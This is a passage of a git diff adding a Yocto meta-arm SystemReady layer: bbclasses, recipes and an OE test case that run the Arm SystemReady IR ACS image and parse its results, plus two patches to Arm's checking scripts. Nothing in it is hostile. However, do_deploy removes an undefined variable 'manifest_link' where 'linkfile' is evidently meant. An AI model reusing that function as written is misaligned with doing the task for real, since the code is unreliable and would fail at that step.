+[Arm SystemReady IR ACS version v23.03_2.0.0]: https://github.com/ARM-software/arm-systemready/tree/main/IR/prebuilt_images/v23.03_2.0.0
+[Arm SystemReady scripts]: https://gitlab.arm.com/systemready/systemready-scripts
+[EDK2 SCT Results Parser]: https://gitlab.arm.com/systemready/edk2-test-parser
+[`arm-systemready-ir-acs.bb`]: recipes-test/arm-systemready-acs/arm-systemready-ir-acs.bb
+[`arm_systemready_ir_acs.py`]: lib/oeqa/runtime/cases/arm_systemready_ir_acs.py
+[`meta-arm-bsp`]: ../meta-arm-bsp
+[`fvp-base`]: ../meta-arm-bsp/conf/machine/fvp-base.conf
diff --git a/meta-arm/meta-arm-systemready/classes/arm-systemready-acs.bbclass b/meta-arm/meta-arm-systemready/classes/arm-systemready-acs.bbclass
new file mode 100644
index 0000000000..e988802368
--- /dev/null
+++ b/meta-arm/meta-arm-systemready/classes/arm-systemready-acs.bbclass
@@ -0,0 +1,161 @@
+# This class contains the common logic to deploy the SystemReady ACS pre-built
+# image and set up the testimage environment. It is to be inherited by recipes
+# which contains the URI to download the SystemReady ACS image.
+# This class also contains a testimage "postfunc" called acs_logs_handle which
+# performs the following functions after the tests have completed:
+# * Extract the acs_results directory from the Wic image to
+# ${WORKDIR}/testimage
+# * Create a symlink to the acs_results in ${TMPDIR}/log/oeqa for ease of
+# access
+# * Run the test parser, format results, and check results routines
+
+INHIBIT_DEFAULT_DEPS = "1"
+COMPATIBLE_HOST = "aarch64-*"
+PACKAGE_ARCH = "${MACHINE_ARCH}"
+inherit nopackages deploy rootfs-postcommands ${IMAGE_CLASSES} python3native
+
+do_configure[noexec] = "1"
+do_compile[noexec] = "1"
+do_install[noexec] = "1"
+do_testimage[depends] += "mtools-native:do_populate_sysroot"
+
+# Deploy with this suffix so it is picked up in the machine configuration
+IMAGE_DEPLOY_SUFFIX ?= ".wic"
+
+# Post-process commands may write to IMGDEPLOYDIR
+IMGDEPLOYDIR = "${DEPLOYDIR}"
+# Write the test data in IMAGE_POSTPROCESS_COMMAND
+IMAGE_POSTPROCESS_COMMAND += "write_image_test_data; "
+
+python do_deploy() {
+ deploydir = d.getVar('DEPLOYDIR')
+ suffix = d.getVar('IMAGE_DEPLOY_SUFFIX')
+ imgfile = os.path.join(d.getVar('WORKDIR'), d.getVar('IMAGE_FILENAME'))
+ deployfile = os.path.join(deploydir, d.getVar('IMAGE_NAME') + suffix)
+ linkfile = os.path.join(deploydir, d.getVar('IMAGE_LINK_NAME') + suffix)
+
+ # Install the image file in the deploy directory
+ import shutil
+ shutil.copyfile(imgfile, deployfile)
+ if os.path.lexists(linkfile):
+ os.remove(manifest_link)
+ os.symlink(os.path.basename(deployfile), linkfile)
+
+ # Run the image post-process commands
+ from oe.utils import execute_pre_post_process
+ post_process_cmds = d.getVar("IMAGE_POSTPROCESS_COMMAND")
+ execute_pre_post_process(d, post_process_cmds)
+
+ # Copy the report.txt to DEPLOYDIR
+ # The machine-specific implementation can optionally put the report file in
+ # ${WORKDIR}/report.txt. If there is no such file present, use the template.
+ workdir = d.getVar('WORKDIR')
+ report_file = os.path.join(workdir, "report.txt")
+ report_file_dest = os.path.join(deploydir, "report.txt")
+ if os.path.exists(report_file):
+ report_file_to_copy = report_file
+ else:
+ report_file_to_copy = os.path.join(workdir, "systemready-ir-template",
+ "report.txt")
+ shutil.copyfile(report_file_to_copy, report_file_dest)
+
+ # Ensure an empty rootfs manifest exists (required by testimage)
+ fname = os.path.join(deploydir, d.getVar('IMAGE_LINK_NAME') + ".manifest")
+ open(fname, 'w').close()
+}
+addtask deploy after do_install before do_image_complete
+
+do_image_complete() {
+ true
+}
+addtask image_complete after do_deploy before do_build
+do_image_complete[depends] += "arm-systemready-firmware:do_image_complete"
+
+ACS_LOG_NAME = "acs_results_${DATETIME}"
+ACS_LOG_NAME[vardepsexclude] += "DATETIME"
+ACS_LOG_DIR = "${TEST_LOG_DIR}/${ACS_LOG_NAME}"
+ACS_LOG_LINK = "${TEST_LOG_DIR}/acs_results"
+TEST_LOG_DIR = "${WORKDIR}/testimage"
+RM_WORK_EXCLUDE_ITEMS += "${@ os.path.basename(d.getVar('TEST_LOG_DIR')) }"
+
+do_testimage[postfuncs] += "acs_logs_handle"
+do_testimage[depends] += "edk2-test-parser-native:do_populate_sysroot \
+ arm-systemready-scripts-native:do_populate_sysroot"
+
+# Process the logs
+python acs_logs_handle() {
+ import logging
+ from oeqa.utils import make_logger_bitbake_compatible
+ import shutil
+
+ deploy_dir_image = d.getVar('DEPLOY_DIR_IMAGE')
+ systemready_scripts_dir = os.path.join(d.getVar('STAGING_LIBDIR_NATIVE'),
+ "systemready_scripts")
+ edk2_test_parser_dir = os.path.join(d.getVar('STAGING_LIBDIR_NATIVE'),
+ "edk2_test_parser")
+ deployfile = os.path.join(deploy_dir_image, d.getVar('IMAGE_LINK_NAME')
+ + d.getVar('IMAGE_DEPLOY_SUFFIX'))
+
+ testimage_dir = d.getVar('TEST_LOG_DIR')
+ logdir = d.getVar('ACS_LOG_DIR')
+ loglink = d.getVar('ACS_LOG_LINK')
+
+ # Copy the report.txt file from DEPLOY_DIR_IMAGE
+ report_file = os.path.join(deploy_dir_image, "report.txt")
+ report_file_dest = os.path.join(testimage_dir, "report.txt")
+ shutil.copyfile(report_file, report_file_dest)
+
+ # Extract the log files from the Wic image to the testimage logs directory
+ resultspath = deployfile + ':3/acs_results'
+ import subprocess
+ subprocess.run(['wic', 'cp', resultspath, logdir], check=True)
+
+ # Create a symlink to the acs_results directory
+ if os.path.lexists(loglink):
+ os.remove(loglink)
+ os.symlink(os.path.basename(logdir), loglink)
+
+ # Create a top-level symlink to the acs_results directory
+ top_logdir = os.path.join(get_testimage_json_result_dir(d), d.getVar("PN"))
+ log_name = d.getVar('ACS_LOG_NAME')
+ top_link = os.path.join(top_logdir, log_name)
+ log_target = os.path.relpath(logdir, top_logdir)
+ os.symlink(log_target, top_link)
+
+ # Parse the logs and generate results file
+ logger = make_logger_bitbake_compatible(logging.getLogger("BitBake"))
+
+ sct_log = os.path.join(logdir, 'sct_results', 'Overall', 'Summary.ekl')
+ sct_seq = os.path.join(logdir, 'sct_results', 'Sequence', 'EBBR.seq')
+
+ parser_path = os.path.join(edk2_test_parser_dir, "parser.py")
+ # format-sr-results.py needs the output file to be called "result.md"
+ subprocess.run([parser_path, sct_log, sct_seq, "--md",
+ os.path.join(logdir, "result.md")], check=True)
+
+ scripts_path = os.path.join(systemready_scripts_dir,
+ "format-sr-results.py")
+ summary_path = os.path.join(testimage_dir, "summary.md")
+ subprocess.run([scripts_path, "--dir", testimage_dir, "--md", summary_path],
+ check=True)
+
+ # Symlink acs-console.log to default_log
+ subprocess.run(["ln", "-sf", os.path.join(testimage_dir, "default_log"),
+ os.path.join(testimage_dir, "acs-console.log")], check=True)
+
+ # Run the check-sr-results.py systemready script to check the results
+ check_sr_results_log_path = os.path.join(testimage_dir,
+ "check_sr_results.log")
+ with open(check_sr_results_log_path, "w") as f:
+ check_sr_results_path = os.path.join(systemready_scripts_dir,
+ "check-sr-results.py")
+ try:
+ subprocess.run([check_sr_results_path, "--dir", testimage_dir,
+ "--print-meta", "--debug"],
+ stdout=f, stderr=f, text=True, check=True)
+ except subprocess.CalledProcessError:
+ logger.error(f"ACS run failed the check SystemReady results. See "
+ f"{summary_path} and {check_sr_results_log_path} for "
+ f"details of the error.")
+ raise bb.BBHandledException()
+}
diff --git a/meta-arm/meta-arm-systemready/classes/extra_imagedepends_only.bbclass b/meta-arm/meta-arm-systemready/classes/extra_imagedepends_only.bbclass
new file mode 100644
index 0000000000..bf06a9f490
--- /dev/null
+++ b/meta-arm/meta-arm-systemready/classes/extra_imagedepends_only.bbclass
@@ -0,0 +1,25 @@
+# This class is to be inherited by recipes interested in only deploying what is
+# listed in the EXTRA_IMAGEDEPENDS.
+# It is inheriting the image.bbclass to make sure that the
+# image_license.manifest is generated.
+
+IMAGE_FSTYPES = ""
+
+inherit image
+
+IMAGE_FEATURES = ""
+EXTRA_IMAGE_FEATURES = ""
+
+INHIBIT_DEFAULT_DEPS = "1"
+DEPENDS = ""
+RDEPENDS = ""
+RRECOMMENDS = ""
+
+deltask do_prepare_recipe_sysroot
+deltask do_flush_pseudodb
+deltask do_image_qa
+do_rootfs[depends] = ""
+do_rootfs[noexec] = "1"
+do_image[noexec] = "1"
+do_image_complete[noexec] = "1"
+do_build[depends] = ""
diff --git a/meta-arm/meta-arm-systemready/conf/layer.conf b/meta-arm/meta-arm-systemready/conf/layer.conf
new file mode 100644
index 0000000000..27bb568e04
--- /dev/null
+++ b/meta-arm/meta-arm-systemready/conf/layer.conf
@@ -0,0 +1,15 @@
+# We have a conf and classes directory, add to BBPATH
+BBPATH .= ":${LAYERDIR}"
+
+# We have recipes-* directories, add to BBFILES
+BBFILES += "${LAYERDIR}/recipes-*/*/*.bb \
+ ${LAYERDIR}/recipes-*/*/*.bbappend"
+
+BBFILE_COLLECTIONS += "meta-arm-systemready"
+BBFILE_PATTERN_meta-arm-systemready = "^${LAYERDIR}/"
+
+LAYERSERIES_COMPAT_meta-arm-systemready = "nanbield"
+
+LAYERDEPENDS_meta-arm-systemready = "core"
+
+addpylib ${LAYERDIR}/lib oeqa
diff --git a/meta-arm/meta-arm-systemready/lib/oeqa/runtime/cases/arm_systemready_ir_acs.py b/meta-arm/meta-arm-systemready/lib/oeqa/runtime/cases/arm_systemready_ir_acs.py
new file mode 100644
index 0000000000..518d1aa269
--- /dev/null
+++ b/meta-arm/meta-arm-systemready/lib/oeqa/runtime/cases/arm_systemready_ir_acs.py
@@ -0,0 +1,37 @@
+from oeqa.runtime.case import OERuntimeTestCase
+
+
+class SystemReadyACSTest(OERuntimeTestCase):
+ def setUp(self):
+ self.console = self.td.get('ARM_SYSTEMREADY_ACS_CONSOLE')
+ self.assertNotEqual(self.console, '',
+ msg='ARM_SYSTEMREADY_ACS_CONSOLE is not set')
+
+ def test_acs(self):
+ """
+ The purpose of this test case is to detect any issues with the ACS
+ tests themselves. The intention is to fail only if there is an issue
+ running the tests, not if an ACS test fails
+ """
+ self.target.transition('on')
+ # The tests finish on a root shell
+ test_patterns = [r'([a-zA-Z0-9_ ]+): \[([a-zA-Z_ ]+)\]',
+ 'ACS run is completed'] # Signifies successful completion
+
+ while True:
+ match_id = self.target.expect(self.console, test_patterns,
+ timeout=10*60*60)
+ if match_id == 0:
+ # A test group's result has been printed
+ matches = self.target.match(self.console)
+ group_name = matches[1].decode().strip()
+ status = matches[2].decode().strip()
+ self.logger.info(f'Test Group ({group_name}): {status}')
+ elif match_id == 1:
+ break
+
+ # Workaround to ensure the model syncs the log files to disk
+ self.target.sendline(self.console, r'sync /mnt')
+ self.target.expect(self.console, r'root@generic-arm64:~#')
+
+ self.logger.info('Linux tests complete')
diff --git a/meta-arm/meta-arm-systemready/recipes-bsp/arm-systemready/arm-systemready-firmware.bb b/meta-arm/meta-arm-systemready/recipes-bsp/arm-systemready/arm-systemready-firmware.bb
new file mode 100644
index 0000000000..54ffc85936
--- /dev/null
+++ b/meta-arm/meta-arm-systemready/recipes-bsp/arm-systemready/arm-systemready-firmware.bb
@@ -0,0 +1,14 @@
+SUMMARY = "Arm SystemReady Firmware Image"
+DESCRIPTION = "This recipe ensures that all packages listed in \
+ARM_SYSTEMREADY_FIRMWARE variable (set at machine conf) are deployed."
+
+EXTRA_IMAGEDEPENDS = "${ARM_SYSTEMREADY_FIRMWARE}"
+
+inherit extra_imagedepends_only
+
+python() {
+ if not d.getVar("ARM_SYSTEMREADY_FIRMWARE"):
+ raise bb.parse.SkipRecipe("ARM_SYSTEMREADY_FIRMWARE needs to be set")
+}
+
+do_testimage[noexec] = "1"
diff --git a/meta-arm/meta-arm-systemready/recipes-devtools/python/python3-construct-native_2.10.68.bb b/meta-arm/meta-arm-systemready/recipes-devtools/python/python3-construct-native_2.10.68.bb
new file mode 100644
index 0000000000..5e39ae72ed
--- /dev/null
+++ b/meta-arm/meta-arm-systemready/recipes-devtools/python/python3-construct-native_2.10.68.bb
@@ -0,0 +1,13 @@
+SUMMARY = "A powerful declarative symmetric parser/builder for binary data"
+HOMEPAGE = "https://github.com/construct/construct"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=202b39559c1c79fe4715ce81e9e0ac02"
+
+PYPI_PACKAGE = "construct"
+
+SRC_URI[sha256sum] = "7b2a3fd8e5f597a5aa1d614c3bd516fa065db01704c72a1efaaeec6ef23d8b45"
+
+inherit pypi
+inherit setuptools3
+inherit native
diff --git a/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-ir-acs.bb b/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-ir-acs.bb
new file mode 100644
index 0000000000..f9226c31cf
--- /dev/null
+++ b/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-ir-acs.bb
@@ -0,0 +1,61 @@
+SUMMARY = "Arm SystemReady IR ACS"
+DESCRIPTION = "Arm SystemReady IR Architecture Compliance Suite prebuilt image"
+
+LICENSE = "AFL-2.1 & Apache-2.0 & BSD-2-Clause & BSD-2-Clause-Patent \
+ & BSD-3-Clause & BSD-4-Clause & bzip2-1.0.4 & bzip2-1.0.6 & CC-BY-SA-4.0 \
+ & curl & GPL-2.0-only & GPL-2.0-or-later & GPL-3.0-only \
+ & GPL-3.0-or-later & GPL-3.0-with-GCC-exception & ISC \
+ & LGPL-2.0-only & LGPL-2.0-or-later & LGPL-2.1-only \
+ & LGPL-2.1-or-later & LGPL-3.0-only & MIT & MPL-2.0 & PD & PSF-2.0 \
+ & Python-2.0 & Unicode-DFS-2016 & Unicode-TOU & Zlib"
+LIC_FILES_CHKSUM = "\
+file://${COMMON_LICENSE_DIR}/AFL-2.1;md5=e40039b90e182a056bcd9ad3e47ddd71 \
+file://${COMMON_LICENSE_DIR}/Apache-2.0;md5=89aea4e17d99a7cacdbeed46a0096b10 \
+file://${COMMON_LICENSE_DIR}/BSD-2-Clause;md5=cb641bc04cda31daea161b1bc15da69f \
+file://${COMMON_LICENSE_DIR}/BSD-2-Clause-Patent;md5=0518d409dae93098cca8dfa932f3ab1b \
+file://${COMMON_LICENSE_DIR}/BSD-3-Clause;md5=550794465ba0ec5312d6919e203a55f9 \
+file://${COMMON_LICENSE_DIR}/BSD-4-Clause;md5=624d9e67e8ac41a78f6b6c2c55a83a2b \
+file://${COMMON_LICENSE_DIR}/bzip2-1.0.4;md5=452e1b423688222dcfc3cb9462c92902 \
+file://${COMMON_LICENSE_DIR}/bzip2-1.0.6;md5=841c5495611ae95b13e80fa4a0627333 \
+file://${COMMON_LICENSE_DIR}/CC-BY-SA-4.0;md5=4084714af41157e38872e798eb3fe1b1 \
+file://${COMMON_LICENSE_DIR}/curl;md5=f7adb1397db248527ffed14d947e445c \
+file://${COMMON_LICENSE_DIR}/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6 \
+file://${COMMON_LICENSE_DIR}/GPL-2.0-or-later;md5=fed54355545ffd980b814dab4a3b312c \
+file://${COMMON_LICENSE_DIR}/GPL-3.0-only;md5=c79ff39f19dfec6d293b95dea7b07891 \
+file://${COMMON_LICENSE_DIR}/GPL-3.0-or-later;md5=1c76c4cc354acaac30ed4d5eefea7245 \
+file://${COMMON_LICENSE_DIR}/GPL-3.0-with-GCC-exception;md5=aef5f35c9272f508be848cd99e0151df \
+file://${COMMON_LICENSE_DIR}/ISC;md5=f3b90e78ea0cffb20bf5cca7947a896d \
+file://${COMMON_LICENSE_DIR}/LGPL-2.0-only;md5=9427b8ccf5cf3df47c29110424c9641a \
+file://${COMMON_LICENSE_DIR}/LGPL-2.0-or-later;md5=6d2d9952d88b50a51a5c73dc431d06c7 \
+file://${COMMON_LICENSE_DIR}/LGPL-2.1-only;md5=1a6d268fd218675ffea8be556788b780 \
+file://${COMMON_LICENSE_DIR}/LGPL-2.1-or-later;md5=2a4f4fd2128ea2f65047ee63fbca9f68 \
+file://${COMMON_LICENSE_DIR}/LGPL-3.0-only;md5=bfccfe952269fff2b407dd11f2f3083b \
+file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302 \
+file://${COMMON_LICENSE_DIR}/MPL-2.0;md5=815ca599c9df247a0c7f619bab123dad \
+file://${COMMON_LICENSE_DIR}/PD;md5=b3597d12946881e13cb3b548d1173851 \
+file://${COMMON_LICENSE_DIR}/PSF-2.0;md5=76c1502273262a5ebefb50dfb20d7c4f \
+file://${COMMON_LICENSE_DIR}/Python-2.0;md5=a5c8025e305fb49e6d405769358851f6 \
+file://${COMMON_LICENSE_DIR}/Unicode-DFS-2016;md5=907371994d651afe53e98adc27824669 \
+file://${COMMON_LICENSE_DIR}/Unicode-TOU;md5=666362dc5dba74f477af0f44fb85bd22 \
+file://${COMMON_LICENSE_DIR}/Zlib;md5=87f239f408daca8a157858e192597633 \
+"
+IMAGE_CLASSES:remove = "license_image"
+
+COMPATIBLE_MACHINE = "fvp-*"
+
+TEST_SUITES = "arm_systemready_ir_acs"
+
+PV = "2.0.0"
+PV_DATE = "23.03"
+FULL_PV = "v${PV_DATE}_${PV}"
+ARM_SYSTEMREADY_IR_ACS_BRANCH ?= "main"
+IMAGE_FILENAME = "ir-acs-live-image-generic-arm64.wic"
+SRC_URI = " \
+ https://github.com/ARM-software/arm-systemready/raw/${ARM_SYSTEMREADY_IR_ACS_BRANCH}/IR/prebuilt_images/${FULL_PV}/${IMAGE_FILENAME}.xz;name=acs-img \
+ git://git.gitlab.arm.com/systemready/systemready-ir-template.git;protocol=https;nobranch=1;destsuffix=systemready-ir-template;name=sr-ir-template \
+"
+SRC_URI[acs-img.sha256sum] = "ea52f84dab44bde97de3e2d2224d883acaae35724dd8e2bdfb125de49040f9b3"
+# Revision pointing to v2023.04 tag
+SRCREV_sr-ir-template = "c714db178ddf72e5ae5017f15421095297d5bf0e"
+
+inherit arm-systemready-acs
diff --git a/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts-native.bb b/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts-native.bb
new file mode 100644
index 0000000000..ccc87ed24f
--- /dev/null
+++ b/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts-native.bb
@@ -0,0 +1,31 @@
+SUMMARY = "System Ready Scripts"
+DESCRIPTION = "A collection of scripts to help with SystemReady compliance."
+HOMEPAGE = "https://gitlab.arm.com/systemready/systemready-scripts"
+
+inherit native
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=85b7d439a311c22626c2e3f05daf628e"
+
+RDEPENDS:${PN} = "python3-packaging-native python3-pyyaml-native \
+python3-chardet-native python3-requests-native python3-construct-native \
+dtc-native python3-dtschema-wrapper-native"
+
+PV = "v2023.04"
+S = "${WORKDIR}/git"
+SRC_URI = "\
+ git://git.gitlab.arm.com/systemready/systemready-scripts.git;protocol=https;nobranch=1 \
+ file://0001-check-sr-results-Return-non-zero-exit-code-on-failur.patch \
+ file://0002-check-sr-results-Device-tree-improvements.patch \
+"
+
+# The SRCREV is at the v2023.04 tag
+SRCREV = "f8244ab8da09f9e6005ceff81ebb234f35a2a698"
+
+do_install() {
+ install -d ${D}/${libdir}/systemready_scripts
+ cp -r ${S}/* ${D}/${libdir}/systemready_scripts
+}
+
+do_configure[noexec] = "1"
+do_compile[noexec] = "1"
diff --git a/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts/0001-check-sr-results-Return-non-zero-exit-code-on-failur.patch b/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts/0001-check-sr-results-Return-non-zero-exit-code-on-failur.patch
new file mode 100644
index 0000000000..6a95881d93
--- /dev/null
+++ b/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts/0001-check-sr-results-Return-non-zero-exit-code-on-failur.patch
@@ -0,0 +1,37 @@
+From ad8f2826f6e2cefb630f7fc2c7c99857f224e109 Mon Sep 17 00:00:00 2001
+From: Debbie Martin <Debbie.Martin@arm.com>
+Date: Tue, 5 Sep 2023 21:37:46 +0100
+Subject: [PATCH] check-sr-results: Return non-zero exit code on failure
+
+Return a non-zero exit code if there are any warnings or errors found.
+
+Upstream-Status: Pending
+Signed-off-by: Debbie Martin <Debbie.Martin@arm.com>
+---
+ check-sr-results.py | 6 ++++++
+ 1 file changed, 6 insertions(+)
+
+diff --git a/check-sr-results.py b/check-sr-results.py
+index 12b89cd..48658f0 100755
+--- a/check-sr-results.py
++++ b/check-sr-results.py
+@@ -185,6 +185,9 @@ class Stats:
+ def inc_error(self):
+ self._inc('error')
+
++ def has_warnings_or_errors(self):
++ return self.data['warning'] or self.data['error']
++
+
+ # Download (possibly large) file from URL.
+ # We raise an exception in case of issue.
+@@ -1519,3 +1522,6 @@ if __name__ == '__main__':
+ if args.print_meta:
+ print()
+ print_meta()
++
++ if stats.has_warnings_or_errors():
++ exit(1)
+--
+2.25.1
+
diff --git a/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts/0002-check-sr-results-Device-tree-improvements.patch b/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts/0002-check-sr-results-Device-tree-improvements.patch
new file mode 100644
index 0000000000..f76a03ade8
--- /dev/null
+++ b/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/arm-systemready-scripts/0002-check-sr-results-Device-tree-improvements.patch
@@ -0,0 +1,77 @@
+From 53ceb2d4167b05374678b966031b3d52fc5080a2 Mon Sep 17 00:00:00 2001
+From: Debbie Martin <Debbie.Martin@arm.com>
+Date: Fri, 29 Sep 2023 15:22:17 +0100
+Subject: [PATCH] check-sr-results: Device tree improvements
+
+Make check-sr-results.py accept 'extra_compat' configuration for
+devicetree files, and pass these in the compat list given to
+dt-parser.py.
+
+Update dt-parser.py to parse the GCC version line in the dtb log.
+
+Upstream-Status: Pending
+Signed-off-by: Debbie Martin <Debbie.Martin@arm.com>
+---
+ check-sr-results.py | 12 ++++++++++--
+ dt-parser.py | 8 ++++++++
+ 2 files changed, 18 insertions(+), 2 deletions(-)
+
+diff --git a/check-sr-results.py b/check-sr-results.py
+index 48658f0..a207a39 100755
+--- a/check-sr-results.py
++++ b/check-sr-results.py
+@@ -598,7 +598,7 @@ def need_regen(filename, deps, margin=0):
+ # We run dtc and dt-validate to produce the log when needed.
+ # We add markers to the log, which will be ignored by dt-parser.py.
+ # We return a Stats object.
+-def check_devicetree(filename):
++def check_devicetree(filename, extra_compat=None):
+ logging.debug(f"Check Devicetree `{filename}'")
+ stats = Stats()
+ log = f"{filename}.log"
+@@ -644,6 +644,9 @@ def check_devicetree(filename):
+ # We use the compatible strings extracted from Linux bindings to filter out
+ # more false positive.
+ compat = get_compat()
++ if extra_compat:
++ with open(compat, "a") as compat_file:
++ compat_file.write("\n".join(extra_compat))
+ cp = run(f"{dt_parser} --compatibles '{compat}' '{log}'")
+
+ if cp.returncode:
+@@ -930,7 +933,12 @@ def check_file(conffile, filename):
+ stats.add(check_uefi_capsule(filename))
+
+ if 'devicetree' in conffile:
+- stats.add(check_devicetree(filename))
++ stats.add(
++ check_devicetree(
++ filename,
++ extra_compat=conffile.get("extra_compat")
++ )
++ )
+
+ if 'uefi-sniff' in conffile:
+ stats.add(check_uefi_sniff(filename))
+diff --git a/dt-parser.py b/dt-parser.py
+index 3eccd74..c1c0031 100755
+--- a/dt-parser.py
++++ b/dt-parser.py
+@@ -181,6 +181,14 @@ def parse(filename):
+ }
+ continue
+
++ # line [GCC <version>]
++ m = re.match(r'\[GCC [0-9\.]+\]', line)
++ if m:
++ logging.debug(
++ f"line {i}: GCC version (`{line}')"
++ )
++ continue
++
+ # If we could not parse the line we arrive here and complain.
+ logging.warning(f"Unparsed line {i}: `{line}'")
+
+--
+2.25.1
+
diff --git a/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/edk2-test-parser-native.bb b/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/edk2-test-parser-native.bb
new file mode 100644
index 0000000000..ad93c41e7b
--- /dev/null
+++ b/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-acs/edk2-test-parser-native.bb
@@ -0,0 +1,26 @@
+SUMMARY = "EDK2 Test Parser"
+DESCRIPTION = "EDK2 Test Parser for parsing the results of UEFI SCT tests"
+HOMEPAGE = "https://gitlab.arm.com/systemready/edk2-test-parser"
+
+inherit native
+
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=c0550be4b3b9c0223efd0eaa70dc9085"
+
+RDEPENDS:${PN} = "python3-packaging-native python3-pyyaml-native \
+ python3-jsonschema-native"
+
+PV = "v2023.04"
+S = "${WORKDIR}/git"
+SRC_URI = "git://git.gitlab.arm.com/systemready/edk2-test-parser.git;protocol=https;nobranch=1"
+
+# The SRCREV is at the v2023.04 tag
+SRCREV = "e8cdb692592d2a152cb87cf4d9fbd7ba2ae8b405"
+
+do_install() {
+ install -d ${D}/${libdir}/edk2_test_parser
+ cp -r ${S}/* ${D}/${libdir}/edk2_test_parser
+}
+
+do_configure[noexec] = "1"
+do_compile[noexec] = "1"
diff --git a/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-linux-distros/arm-systemready-linux-distros-debian.bb b/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-linux-distros/arm-systemready-linux-distros-debian.bb
new file mode 100644
index 0000000000..04faa3a937
--- /dev/null
+++ b/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-linux-distros/arm-systemready-linux-distros-debian.bb
@@ -0,0 +1,41 @@
+require arm-systemready-linux-distros.inc
+
+LICENSE = "GPL-1.0-only & GPL-1.0-or-later & GPL-2.0-only & GPL-2.0-or-later \
+ & GPL-3.0-only & GPL-3.0-or-later & LGPL-2.0-only \
+ & LGPL-2.0-or-later & LGPL-2.1-only & LGPL-2.1-or-later \
+ & LGPL-3.0-only & LGPL-3.0-or-later & BSD-3-Clause & BSD-4-Clause \
+ & Artistic-1.0-Perl & Apache-1.0 & Apache-1.1 & Apache-2.0 & Zlib \
+ & Python-2.0 & Ruby & PHP-3.01 & W3C-20150513 & OpenSSL & Sleepycat"
+LIC_FILES_CHKSUM = "\
+file://${COMMON_LICENSE_DIR}/GPL-1.0-only;md5=e9e36a9de734199567a4d769498f743d \
+file://${COMMON_LICENSE_DIR}/GPL-1.0-or-later;md5=30c0b8a5048cc2f4be5ff15ef0d8cf61 \
+file://${COMMON_LICENSE_DIR}/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6 \
+file://${COMMON_LICENSE_DIR}/GPL-2.0-or-later;md5=fed54355545ffd980b814dab4a3b312c \
+file://${COMMON_LICENSE_DIR}/GPL-3.0-only;md5=c79ff39f19dfec6d293b95dea7b07891 \
+file://${COMMON_LICENSE_DIR}/GPL-3.0-or-later;md5=1c76c4cc354acaac30ed4d5eefea7245 \
+file://${COMMON_LICENSE_DIR}/LGPL-2.0-only;md5=9427b8ccf5cf3df47c29110424c9641a \
+file://${COMMON_LICENSE_DIR}/LGPL-2.0-or-later;md5=6d2d9952d88b50a51a5c73dc431d06c7 \
+file://${COMMON_LICENSE_DIR}/LGPL-2.1-only;md5=1a6d268fd218675ffea8be556788b780 \
+file://${COMMON_LICENSE_DIR}/LGPL-2.1-or-later;md5=2a4f4fd2128ea2f65047ee63fbca9f68 \
+file://${COMMON_LICENSE_DIR}/LGPL-3.0-only;md5=bfccfe952269fff2b407dd11f2f3083b \
+file://${COMMON_LICENSE_DIR}/LGPL-3.0-or-later;md5=c51d3eef3be114124d11349ca0d7e117 \
+file://${COMMON_LICENSE_DIR}/BSD-3-Clause;md5=550794465ba0ec5312d6919e203a55f9 \
+file://${COMMON_LICENSE_DIR}/BSD-4-Clause;md5=624d9e67e8ac41a78f6b6c2c55a83a2b \
+file://${COMMON_LICENSE_DIR}/Artistic-1.0-Perl;md5=8feedd169dbd5738981843bd7d931f9f \
+file://${COMMON_LICENSE_DIR}/Apache-1.0;md5=9f7a9503b805de9158a2a31a2cef4b70 \
+file://${COMMON_LICENSE_DIR}/Apache-1.1;md5=61cc638ff95ff4f38f243855bcec4317 \
+file://${COMMON_LICENSE_DIR}/Apache-2.0;md5=89aea4e17d99a7cacdbeed46a0096b10 \
+file://${COMMON_LICENSE_DIR}/Zlib;md5=87f239f408daca8a157858e192597633 \
+file://${COMMON_LICENSE_DIR}/Python-2.0;md5=a5c8025e305fb49e6d405769358851f6 \
+file://${COMMON_LICENSE_DIR}/Ruby;md5=105fc57d3f4d3122db32912f3e6107d0 \
+file://${COMMON_LICENSE_DIR}/PHP-3.01;md5=3363e286b5882ec667a6ebd86e0d9d91 \
+file://${COMMON_LICENSE_DIR}/W3C-20150513;md5=9ff23a699fca546a380855dd40d12d4f \
+file://${COMMON_LICENSE_DIR}/OpenSSL;md5=4eb1764f3e65fafa1a25057f9082f2ae \
+file://${COMMON_LICENSE_DIR}/Sleepycat;md5=1cbb64231c94198653282f3ccab88ffb \
+"
+
+PV = "11.7.0"
+# netinst, DVD-1
+ISO_TYPE = "netinst"
+SRC_URI = "https://cdimage.debian.org/mirror/cdimage/archive/${PV}/arm64/iso-cd/debian-${PV}-arm64-${ISO_TYPE}.iso;unpack=0;downloadfilename=${ISO_IMAGE_NAME}.iso"
+SRC_URI[sha256sum] = "174caba674fe3172938439257156b9cb8940bb5fd5ddf124256e81ec00ec460d"
